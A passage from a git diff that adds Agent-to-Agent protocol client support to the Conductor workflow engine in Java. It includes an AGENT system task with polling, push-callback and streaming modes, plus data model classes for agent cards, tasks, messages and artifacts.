id; + private String contextId; + private TaskStatus status; + private final Map artifacts = new LinkedHashMap<>(); + private A2AMessage message; + private boolean done; + + void accept(JsonNode result, ObjectMapper objectMapper) { + String kind = result.path("kind").asText(""); + if ("status-update".equals(kind)) { + mergeIds(result); + this.status = objectMapper.convertValue(result.get("status"), TaskStatus.class); + if (result.path("final").asBoolean(false)) { + done = true; + } + } else if ("artifact-update".equals(kind)) { + mergeIds(result); + Artifact incoming = + objectMapper.convertValue(result.get("artifact"), Artifact.class); + if (incoming != null && incoming.getArtifactId() != null) { + boolean append = result.path("append").asBoolean(false); + Artifact existing = artifacts.get(incoming.getArtifactId()); + if (append && existing != null && existing.getParts() != null) { + List merged = new ArrayList<>(existing.getParts()); + if (incoming.getParts() != null) { + merged.addAll(incoming.getParts()); + } + existing.setParts(merged); + } else { + artifacts.put(incoming.getArtifactId(), incoming); + } + } + } else if ("task".equals(kind) || result.has("status")) { + A2ATask task = objectMapper.convertValue(result, A2ATask.class); + if (task.getId() != null) { + id = task.getId(); + } + if (task.getContextId() != null) { + contextId = task.getContextId(); + } + if (task.getStatus() != null) { + status = task.getStatus(); + } + if (task.getArtifacts() != null) { + for (Artifact artifact : task.getArtifacts()) { + if (artifact.getArtifactId() != null) { + artifacts.put(artifact.getArtifactId(), artifact); + } + } + } + } else if ("message".equals(kind) || result.has("parts")) { + this.message = objectMapper.convertValue(result, A2AMessage.class); + } + } + + private void mergeIds(JsonNode result) { + if (result.hasNonNull("taskId")) { + id = result.get("taskId").asText(); + } + if (result.hasNonNull("contextId")) { + contextId = result.get("contextId").asText(); + } + } + + SendResult toResult() { + if (status != null || !artifacts.isEmpty() || id != null) { + A2ATask task = new A2ATask(); + task.setId(id); + task.setContextId(contextId); + task.setStatus(status); + task.setArtifacts(new ArrayList<>(artifacts.values())); + task.setKind("task"); + return SendResult.ofTask(task); + } + return SendResult.ofMessage(message); + } + } + + /** + * The outcome of {@code message/send}: a remote agent returns either a direct {@link + * A2AMessage} reply or an {@link A2ATask} (for tracked/long-running work). + */ + public static final class SendResult { + + private final A2ATask task; + private final A2AMessage message; + + private SendResult(A2ATask task, A2AMessage message) { + this.task = task; + this.message = message; + } + + public static SendResult ofTask(A2ATask task) { + return new SendResult(task, null); + } + + public static SendResult ofMessage(A2AMessage message) { + return new SendResult(null, message); + } + + public boolean isTask() { + return task != null; + } + + public A2ATask getTask() { + return task; + } + + public A2AMessage getMessage() { + return message; + } + + static SendResult from(JsonNode result, ObjectMapper objectMapper) { + String kind = result.path("kind").asText(""); + boolean looksLikeTask = "task".equalsIgnoreCase(kind) || result.has("status"); + if (looksLikeTask) { + return ofTask(objectMapper.convertValue(result, A2ATask.class)); + } + return ofMessage(objectMapper.convertValue(result, A2AMessage.class)); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/AgentTask.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/AgentTask.java new file mode 100644 index 0000000..976b711 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/AgentTask.java @@ -0,0 +1,502 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.UUID; + +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.ai.a2a.A2AService.SendResult; +import org.conductoross.conductor.ai.a2a.model.A2AMessage; +import org.conductoross.conductor.ai.a2a.model.A2ATask; +import org.conductoross.conductor.ai.a2a.model.Part; +import org.conductoross.conductor.ai.a2a.model.PushNotificationConfig; +import org.conductoross.conductor.ai.a2a.model.TaskState; +import org.conductoross.conductor.ai.model.A2ACallRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.core.env.Environment; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; + +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; + +/** + * System task that sends a message to a remote A2A agent ({@code message/send}) and works with the + * resulting agent task. + * + *

Non-blocking by design. A fast reply (a direct message or an already-terminal task) completes + * in {@link #start}. For long-running work there are three modes: + * + *

    + *
  • poll (default): the task moves to {@code IN_PROGRESS} and is polled via {@code + * tasks/get} in {@link #execute} at the {@link #getEvaluationOffset} cadence — no worker + * thread is held. + *
  • push ({@code pushNotification=true} + {@code conductor.a2a.callback.url} set): the + * task stays {@code IN_PROGRESS} and is completed when the agent's webhook hits {@code + * A2ACallbackResource}; a slow backstop poll (see {@link #getEvaluationOffset}) still + * finishes it if the webhook is never delivered. + *
  • streaming ({@code streaming=true}): consumes {@code message/stream} (SSE) and + * aggregates events to completion (holds a thread for the stream's duration). + *
+ * + *

When the remote task reaches {@code input-required}/{@code auth-required}, this task COMPLETES + * and surfaces the agent's question plus the {@code taskId}/{@code contextId}, so the workflow can + * resume by issuing another {@code AGENT} call with the same ids. + */ +@Slf4j +@Component(AgentTask.TASK_TYPE) +@Conditional(AIIntegrationEnabledCondition.class) +public class AgentTask extends WorkflowSystemTask { + + public static final String TASK_TYPE = "AGENT"; + + /** Externally-reachable base URL the agent uses for push callbacks. */ + public static final String CALLBACK_URL_PROPERTY = "conductor.a2a.callback.url"; + + private static final long DEFAULT_POLL_SECONDS = 5; + private static final long DEFAULT_PUSH_BACKSTOP_SECONDS = 300; + private static final long DEFAULT_MAX_DURATION_SECONDS = 24L * 60 * 60; + private static final int DEFAULT_MAX_POLL_FAILURES = 30; + private static final String PUSH_INPUT = "pushNotification"; + + /** Push tokens expire after 24 h. Tasks running longer must use polling instead of push. */ + static final long PUSH_TOKEN_TTL_MS = 24L * 60 * 60 * 1000; + + private final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + private final A2AService a2aService; + private final Environment environment; + + public AgentTask(A2AService a2aService, Environment environment) { + super(TASK_TYPE); + this.a2aService = a2aService; + this.environment = environment; + log.info("{} initialized", TASK_TYPE); + } + + @Override + public void start(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + try (A2ALogging.Scope scope = + A2ALogging.of( + A2ALogging.WORKFLOW_ID, task.getWorkflowInstanceId(), + A2ALogging.TASK_ID, task.getTaskId(), + A2ALogging.REF, task.getReferenceTaskName())) { + A2ACallRequest request = parseRequest(task); + if (!A2AService.isA2aAgentType(request.getAgentType())) { + fail( + task, + "Unsupported agentType '" + + request.getAgentType() + + "' (only 'a2a' is supported)", + true); + return; + } + if (StringUtils.isBlank(request.getAgentUrl())) { + fail(task, "AGENT requires 'agentUrl'", true); + return; + } + // Record the start time once, so execute() can enforce the absolute deadline across + // restarts and retries (survives in the persisted task output). + if (task.getOutputData().get(A2AResults.KEY_STARTED_AT) == null) { + task.addOutput(A2AResults.KEY_STARTED_AT, System.currentTimeMillis()); + } + try { + A2AMessage message = buildMessage(request, task); + SendResult result; + if (request.isStreaming()) { + result = + a2aService.streamMessage( + request.getAgentUrl(), + message, + buildConfiguration(request, task, false), + request.getHeaders()); + // A dropped/empty stream must not be reported as a successful completion — + // treat it as transient so the task retries (with the same messageId). + if (!result.isTask() && isEmptyMessage(result.getMessage())) { + throw new A2AException( + "Streaming produced no events (stream may have dropped); will" + + " retry"); + } + } else { + boolean usePush = usePush(request); + result = + a2aService.sendMessage( + request.getAgentUrl(), + message, + buildConfiguration(request, task, usePush), + request.getHeaders()); + } + applyResult(task, result); + } catch (NonRetryableException e) { + fail(task, e.getMessage(), true); + } catch (Exception e) { + fail(task, "Failed to call agent: " + e.getMessage(), false); + } + } finally { + recordOutcome(task); + } + } + + @Override + public boolean execute(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + String agentTaskId = asString(task.getOutputData().get(A2AResults.KEY_TASK_ID)); + try (A2ALogging.Scope scope = + A2ALogging.of( + A2ALogging.WORKFLOW_ID, task.getWorkflowInstanceId(), + A2ALogging.TASK_ID, task.getTaskId(), + A2ALogging.REF, task.getReferenceTaskName())) { + scope.add(A2ALogging.REMOTE_TASK_ID, agentTaskId); + A2ACallRequest request = parseRequest(task); + if (StringUtils.isBlank(agentTaskId) || StringUtils.isBlank(request.getAgentUrl())) { + fail(task, "No remote A2A task to poll", true); + return true; + } + // Liveness guard 1: absolute deadline. Without this a task could poll (or, in push + // mode, backstop-poll) forever against an agent that never reaches a terminal state. + if (deadlineExceeded(task, request)) { + fail( + task, + "AGENT exceeded max duration of " + + maxDurationSeconds(request) + + "s without the remote agent reaching a terminal state", + true); + return true; + } + try { + A2ATask agentTask = + a2aService.getTask( + request.getAgentUrl(), + agentTaskId, + request.getHistoryLength(), + request.getHeaders()); + task.addOutput(A2AResults.KEY_POLL_FAILURES, 0); // reset on a successful poll + handleTaskState(task, agentTask); + // Still working -> stay IN_PROGRESS so the engine re-polls. + return task.getStatus() != TaskModel.Status.IN_PROGRESS; + } catch (NonRetryableException e) { + fail(task, e.getMessage(), true); + return true; + } catch (Exception e) { + // Liveness guard 2: bound consecutive transient failures so a dead agent doesn't + // keep us polling indefinitely (until the deadline). + A2AMetrics.clientPollFailure(); + int failures = + (int) asLong(task.getOutputData().get(A2AResults.KEY_POLL_FAILURES), 0) + 1; + task.addOutput(A2AResults.KEY_POLL_FAILURES, failures); + int max = maxPollFailures(request); + if (failures >= max) { + fail( + task, + "A2A agent unreachable after " + + failures + + " consecutive poll failures: " + + e.getMessage(), + true); + return true; + } + log.warn( + "Transient error polling A2A task {} on {} ({}/{}): {}", + agentTaskId, + request.getAgentUrl(), + failures, + max, + e.getMessage()); + return false; + } + } finally { + recordOutcome(task); + } + } + + @Override + public void cancel(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + String agentTaskId = asString(task.getOutputData().get(A2AResults.KEY_TASK_ID)); + try { + A2ACallRequest request = parseRequest(task); + if (!StringUtils.isBlank(request.getAgentUrl()) && !StringUtils.isBlank(agentTaskId)) { + a2aService.cancelTask(request.getAgentUrl(), agentTaskId, request.getHeaders()); + } + } catch (Exception e) { + log.warn( + "Failed to propagate cancel to remote A2A task {}: {}", + agentTaskId, + e.getMessage()); + } + task.setStatus(TaskModel.Status.CANCELED); + } + + @Override + public Optional getEvaluationOffset(TaskModel task, long maxOffset) { + // In push mode the agent's webhook completes the task quickly; we still poll at a slow + // backstop interval so a lost/never-delivered webhook can't hang the task forever + // (durability over a marginal efficiency gain). Otherwise poll at the normal cadence. + if (pushEnabled(task)) { + return Optional.of(pushBackstopSeconds(task)); + } + return Optional.of(pollInterval(task)); + } + + @Override + public boolean isAsync() { + return true; + } + + private void applyResult(TaskModel task, SendResult result) { + if (result.isTask()) { + handleTaskState(task, result.getTask()); + } else { + task.addOutput(A2AResults.messageOutput(result.getMessage(), objectMapper)); + task.setStatus(TaskModel.Status.COMPLETED); + } + } + + /** Routes a remote task's current state onto this Conductor task's status/output. */ + private void handleTaskState(TaskModel task, A2ATask agentTask) { + String state = A2AResults.stateOf(agentTask); + if (TaskState.isTerminal(state)) { + applyTaskResult(task, agentTask); + } else if (TaskState.isInterrupted(state)) { + // input-required / auth-required: complete and surface the question for resumption. + task.addOutput(A2AResults.taskOutput(agentTask, objectMapper)); + task.setStatus(TaskModel.Status.COMPLETED); + } else { + // submitted / working: record ids and keep polling. + task.addOutput(A2AResults.KEY_STATE, TaskState.normalize(state)); + task.addOutput(A2AResults.KEY_TASK_ID, agentTask.getId()); + task.addOutput(A2AResults.KEY_CONTEXT_ID, agentTask.getContextId()); + task.setStatus(TaskModel.Status.IN_PROGRESS); + } + } + + private void applyTaskResult(TaskModel task, A2ATask agentTask) { + String state = TaskState.normalize(A2AResults.stateOf(agentTask)); + task.addOutput(A2AResults.taskOutput(agentTask, objectMapper)); + switch (state) { + case TaskState.COMPLETED: + task.setStatus(TaskModel.Status.COMPLETED); + break; + case TaskState.CANCELED: + task.setStatus(TaskModel.Status.CANCELED); + break; + default: // failed / rejected + task.setStatus(TaskModel.Status.FAILED); + task.setReasonForIncompletion( + "Remote agent task ended in state '" + + state + + "'" + + suffix(A2AResults.extractText(agentTask))); + break; + } + } + + private A2AMessage buildMessage(A2ACallRequest request, TaskModel task) { + A2AMessage message; + if (request.getMessage() != null && !request.getMessage().isEmpty()) { + message = objectMapper.convertValue(request.getMessage(), A2AMessage.class); + } else { + message = new A2AMessage(); + List parts = new ArrayList<>(); + if (request.getParts() != null && !request.getParts().isEmpty()) { + for (Map raw : request.getParts()) { + parts.add(objectMapper.convertValue(raw, Part.class)); + } + } else { + String text = StringUtils.firstNonBlank(request.getText(), request.getPrompt()); + if (StringUtils.isBlank(text)) { + throw new NonRetryableException( + "AGENT requires one of: message, parts, text, or prompt"); + } + Part part = new Part(); + part.setKind("text"); + part.setText(text); + parts.add(part); + } + message.setParts(parts); + } + if (message.getRole() == null) { + message.setRole("user"); + } + if (message.getMessageId() == null) { + // Deterministic idempotency key: stable across retries and server restarts of the + // same logical call (Conductor reuses referenceTaskName + iteration across retries + // even though it mints a new taskId), but distinct per DO_WHILE iteration. Agents + // that dedupe on messageId thus get effectively-once delivery despite at-least-once. + message.setMessageId(deterministicMessageId(task)); + } + if (message.getKind() == null) { + message.setKind("message"); + } + if (message.getContextId() == null && !StringUtils.isBlank(request.getContextId())) { + message.setContextId(request.getContextId()); + } + if (message.getTaskId() == null && !StringUtils.isBlank(request.getTaskId())) { + message.setTaskId(request.getTaskId()); + } + if (message.getMetadata() == null && request.getMetadata() != null) { + message.setMetadata(request.getMetadata()); + } + return message; + } + + private Map buildConfiguration( + A2ACallRequest request, TaskModel task, boolean usePush) { + Map configuration = new HashMap<>(); + if (request.getHistoryLength() != null) { + configuration.put("historyLength", request.getHistoryLength()); + } + if (usePush) { + // Embed an expiry timestamp in the token so the callback resource can enforce a TTL + // without any additional persistent state. Format: "{uuid}:{expiryEpochMillis}". + long expiryMs = System.currentTimeMillis() + PUSH_TOKEN_TTL_MS; + String token = UUID.randomUUID() + ":" + expiryMs; + task.addOutput(A2AResults.KEY_PUSH_TOKEN, token); + String base = + StringUtils.removeEnd(environment.getProperty(CALLBACK_URL_PROPERTY), "/"); + PushNotificationConfig pushConfig = + new PushNotificationConfig( + base + "/api/a2a/callback/" + task.getTaskId(), token); + // Tell the agent to send the token as a Bearer credential when calling our webhook. + // Agents that support the authentication field will use it; others fall back to the + // token query-param path which our callback still accepts with a deprecation warning. + pushConfig.setAuthentication( + Map.of("schemes", List.of("Bearer"), "credentials", token)); + configuration.put( + "pushNotificationConfig", objectMapper.convertValue(pushConfig, Map.class)); + } + return configuration.isEmpty() ? null : configuration; + } + + private boolean usePush(A2ACallRequest request) { + if (!request.isPushNotification()) { + return false; + } + if (StringUtils.isBlank(environment.getProperty(CALLBACK_URL_PROPERTY))) { + log.warn( + "pushNotification requested but '{}' is not configured; falling back to polling", + CALLBACK_URL_PROPERTY); + return false; + } + return true; + } + + private long pollInterval(TaskModel task) { + Integer value = parseRequest(task).getPollIntervalSeconds(); + return value != null ? Math.max(1, value) : DEFAULT_POLL_SECONDS; + } + + /** + * Deterministic, restart-stable idempotency key. Built from identity that Conductor preserves + * across task retries ({@code workflowInstanceId} + {@code referenceTaskName} + {@code + * iteration}) — NOT {@code taskId}, which changes per retry attempt. + */ + private String deterministicMessageId(TaskModel task) { + return "a2a-" + + task.getWorkflowInstanceId() + + ":" + + task.getReferenceTaskName() + + ":" + + task.getIteration(); + } + + private boolean deadlineExceeded(TaskModel task, A2ACallRequest request) { + long startedAt = + asLong( + task.getOutputData().get(A2AResults.KEY_STARTED_AT), + System.currentTimeMillis()); + return System.currentTimeMillis() - startedAt > maxDurationSeconds(request) * 1000L; + } + + private long maxDurationSeconds(A2ACallRequest request) { + return request.getMaxDurationSeconds() != null + ? Math.max(1, request.getMaxDurationSeconds()) + : DEFAULT_MAX_DURATION_SECONDS; + } + + private int maxPollFailures(A2ACallRequest request) { + return request.getMaxPollFailures() != null + ? Math.max(1, request.getMaxPollFailures()) + : DEFAULT_MAX_POLL_FAILURES; + } + + private boolean pushEnabled(TaskModel task) { + return toBool(task.getInputData().get(PUSH_INPUT)) + && !StringUtils.isBlank(environment.getProperty(CALLBACK_URL_PROPERTY)); + } + + private long pushBackstopSeconds(TaskModel task) { + Integer value = parseRequest(task).getPushBackstopPollSeconds(); + return value != null ? Math.max(1, value) : DEFAULT_PUSH_BACKSTOP_SECONDS; + } + + private boolean isEmptyMessage(A2AMessage message) { + return message == null || message.getParts() == null || message.getParts().isEmpty(); + } + + /** + * Reads a numeric value this task previously wrote to its own output. Persistence round-trips + * JSON numbers back as a {@link Number} (Integer/Long), so only that case can occur. + */ + private static long asLong(Object value, long defaultValue) { + return value instanceof Number ? ((Number) value).longValue() : defaultValue; + } + + private A2ACallRequest parseRequest(TaskModel task) { + return objectMapper.convertValue(task.getInputData(), A2ACallRequest.class); + } + + private void fail(TaskModel task, String reason, boolean nonRetryable) { + task.setStatus( + nonRetryable + ? TaskModel.Status.FAILED_WITH_TERMINAL_ERROR + : TaskModel.Status.FAILED); + task.setReasonForIncompletion(reason); + } + + /** + * Emit a single {@code a2a_client_calls} metric once the task has settled into a terminal + * status. Called from the {@code finally} of start()/execute(); a no-op while the task is still + * IN_PROGRESS, so a polled call counts exactly once (on the cycle that resolves it). + */ + private void recordOutcome(TaskModel task) { + TaskModel.Status status = task.getStatus(); + if (status != null && status.isTerminal()) { + A2AMetrics.clientCall(status.name().toLowerCase()); + } + } + + private static String suffix(String text) { + return text == null ? "" : ": " + text; + } + + private static boolean toBool(Object value) { + if (value instanceof Boolean) { + return (Boolean) value; + } + return value != null && Boolean.parseBoolean(value.toString()); + } + + private static String asString(Object value) { + return value == null ? null : value.toString(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/A2AMessage.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/A2AMessage.java new file mode 100644 index 0000000..53cd809 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/A2AMessage.java @@ -0,0 +1,38 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.model; + +import java.util.List; +import java.util.Map; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import lombok.Data; + +/** + * One turn of communication between an A2A client and a remote agent. + * + *

{@code role} is {@code "user"} (from the client) or {@code "agent"} (from the remote agent). + * Named {@code A2AMessage} to avoid confusion with Conductor's own message types. + */ +@Data +@JsonIgnoreProperties(ignoreUnknown = true) +public class A2AMessage { + + private String role; + private List parts; + private String messageId; + private String taskId; + private String contextId; + private String kind; + private Map metadata; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/A2ATask.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/A2ATask.java new file mode 100644 index 0000000..da5f436 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/A2ATask.java @@ -0,0 +1,39 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.model; + +import java.util.List; +import java.util.Map; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import lombok.Data; + +/** + * A stateful unit of work created by a remote agent in response to a message. + * + *

Named {@code A2ATask} to avoid confusion with Conductor's own {@code Task}/{@code TaskModel}. + * The {@link #status} carries the lifecycle {@link TaskState}; {@link #artifacts} the outputs; + * {@link #history} the conversation turns. + */ +@Data +@JsonIgnoreProperties(ignoreUnknown = true) +public class A2ATask { + + private String id; + private String contextId; + private TaskStatus status; + private List history; + private List artifacts; + private Map metadata; + private String kind; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentCapabilities.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentCapabilities.java new file mode 100644 index 0000000..ec21529 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentCapabilities.java @@ -0,0 +1,26 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.model; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import lombok.Data; + +/** Optional A2A protocol features a remote agent supports, as declared on its {@link AgentCard}. */ +@Data +@JsonIgnoreProperties(ignoreUnknown = true) +public class AgentCapabilities { + + private boolean streaming; + private boolean pushNotifications; + private boolean stateTransitionHistory; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentCard.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentCard.java new file mode 100644 index 0000000..5a7da5e --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentCard.java @@ -0,0 +1,47 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.model; + +import java.util.List; +import java.util.Map; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import lombok.Data; + +/** + * A remote agent's self-description, published at {@code /.well-known/agent-card.json} (v0.3.x+) or + * {@code /.well-known/agent.json} (v0.2.5). Carries identity, the endpoint and transport, declared + * {@link AgentSkill}s, {@link AgentCapabilities}, and security requirements. Used for discovery. + */ +@Data +@JsonIgnoreProperties(ignoreUnknown = true) +public class AgentCard { + + private String name; + private String description; + private String url; + private String version; + private String protocolVersion; + private String preferredTransport; + private String documentationUrl; + private String iconUrl; + private AgentProvider provider; + private AgentCapabilities capabilities; + private List skills; + private List defaultInputModes; + private List defaultOutputModes; + private List additionalInterfaces; + private Map securitySchemes; + private List>> security; + private boolean supportsAuthenticatedExtendedCard; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentInterface.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentInterface.java new file mode 100644 index 0000000..3b1e3b3 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentInterface.java @@ -0,0 +1,25 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.model; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import lombok.Data; + +/** An additional (URL, transport) endpoint a remote agent is reachable at. */ +@Data +@JsonIgnoreProperties(ignoreUnknown = true) +public class AgentInterface { + + private String url; + private String transport; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentProvider.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentProvider.java new file mode 100644 index 0000000..6332a92 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentProvider.java @@ -0,0 +1,25 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.model; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import lombok.Data; + +/** The organization that provides a remote agent. */ +@Data +@JsonIgnoreProperties(ignoreUnknown = true) +public class AgentProvider { + + private String organization; + private String url; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentSkill.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentSkill.java new file mode 100644 index 0000000..8e5320f --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/AgentSkill.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.model; + +import java.util.List; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import lombok.Data; + +/** A discrete capability a remote agent advertises on its {@link AgentCard}. */ +@Data +@JsonIgnoreProperties(ignoreUnknown = true) +public class AgentSkill { + + private String id; + private String name; + private String description; + private List tags; + private List examples; + private List inputModes; + private List outputModes; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/Artifact.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/Artifact.java new file mode 100644 index 0000000..f8e577a --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/Artifact.java @@ -0,0 +1,31 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.model; + +import java.util.List; +import java.util.Map; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import lombok.Data; + +/** A tangible output produced by a remote agent during a task, composed of {@link Part}s. */ +@Data +@JsonIgnoreProperties(ignoreUnknown = true) +public class Artifact { + + private String artifactId; + private String name; + private String description; + private List parts; + private Map metadata; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/Part.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/Part.java new file mode 100644 index 0000000..f2ed8d2 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/Part.java @@ -0,0 +1,37 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.model; + +import java.util.Map; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import lombok.Data; + +/** + * A single content unit within an A2A {@link A2AMessage} or {@link Artifact}. + * + *

